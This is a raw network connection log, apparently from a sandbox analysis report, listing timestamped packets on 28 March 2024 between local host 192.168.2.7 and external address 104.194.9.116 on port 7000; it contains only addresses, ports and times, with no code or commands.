Mar 28, 2024 10:25:46.571871996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571875095 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.571962118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.572004080 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.572040081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.572137117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.572175980 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.572180986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.572247982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.572293043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.572333097 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.623833895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.623902082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.623944998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.623986006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.623997927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624058008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.624082088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624258995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624298096 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.624331951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624465942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624502897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624502897 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.624607086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624677896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624716997 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.624735117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624783039 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.624839067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624912977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.624954939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.624962091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.625360966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.625402927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.625403881 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.652403116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.652456999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.673378944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673397064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673482895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673486948 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.673538923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673556089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673573971 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.673599005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673634052 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.673655987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673670053 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673710108 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.673743010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673804998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673841953 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.673851013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673906088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.673981905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.674017906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.674021006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.674076080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.674108028 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.674122095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.674151897 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.674175978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.674248934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.674297094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.674298048 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.674405098 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.674446106 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.674469948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.723081112 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753068924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753108025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753180027 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753211975 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753245115 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753278971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753287077 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753345013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753403902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753432035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753443956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753468037 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753478050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753551006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753613949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753655910 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753674984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753726959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753743887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753770113 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753786087 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753806114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753855944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753906965 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.753921986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753948927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.753993988 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795098066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795144081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795181036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795213938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795228004 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795236111 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795242071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795273066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795286894 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795289040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795331001 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795346022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795365095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795409918 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795416117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795429945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795443058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795465946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795468092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795490980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795506954 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795516014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795556068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795573950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795595884 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795598984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795622110 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.795646906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.795684099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.824944973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871208906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871227026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871241093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871254921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871268034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871272087 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.871292114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871300936 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.871339083 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871376038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.871400118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871413946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871453047 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.871468067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871509075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871537924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871563911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871572971 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.871583939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871598005 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.871609926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871637106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871673107 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.871675014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871690989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.871723890 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.896857023 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.896887064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.896914959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.896914005 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.896950006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897005081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897032976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897063971 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897102118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897144079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897180080 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897203922 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897254944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897331953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897342920 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897347927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897361994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897387028 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897409916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897437096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897445917 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897480011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897510052 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897530079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897614002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897656918 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897732973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897773027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.897809982 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.897810936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.941834927 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.972873926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.972897053 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.972908974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.972923040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.972937107 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.972950935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.972961903 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.972965002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.972979069 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.972990036 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.973007917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973011017 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.973032951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973046064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973081112 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.973098040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973110914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973134041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973145962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.973148108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973177910 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.973191977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973206043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973247051 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.973256111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973269939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.973310947 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.015180111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015199900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015213966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015228033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015245914 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.015280962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.015280962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015314102 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015320063 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.015362024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015417099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.015439987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015476942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015511990 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015552998 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.015583038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015638113 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015671968 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.015675068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015707970 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.015731096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015814066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.015928030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.016000986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.016047955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.016098976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.016227961 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.057578087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081435919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081499100 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.081592083 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081605911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081650972 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081676960 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.081686020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081713915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081753016 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.081758976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081839085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081878901 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.081897974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.081933022 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.081952095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082000971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082036018 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.082061052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082130909 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082170010 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.082195044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082257032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082293987 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.082317114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082369089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082413912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082453966 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.082475901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.082515001 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.126923084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.126988888 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127003908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127018929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127042055 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.127053022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127068996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127087116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.127109051 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127116919 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.127125025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127140045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127177954 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.127187967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127202034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127242088 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.127260923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127288103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127320051 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.127345085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127360106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127386093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127401114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127402067 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.127429962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.127440929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127459049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.127496004 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.176206112 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186110020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186142921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186157942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186172009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186187029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186203003 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186233997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186249018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186253071 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186264038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186271906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186300993 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186316967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186330080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186336994 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186343908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186364889 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186368942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186381102 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186433077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186445951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186458111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186471939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186494112 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186500072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186518908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186558962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.186573982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186589003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.186620951 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.236907005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.236984015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.236999035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.237018108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.237030029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.237030983 CET	49713	7000	192.168.2.7	104.194.9.116
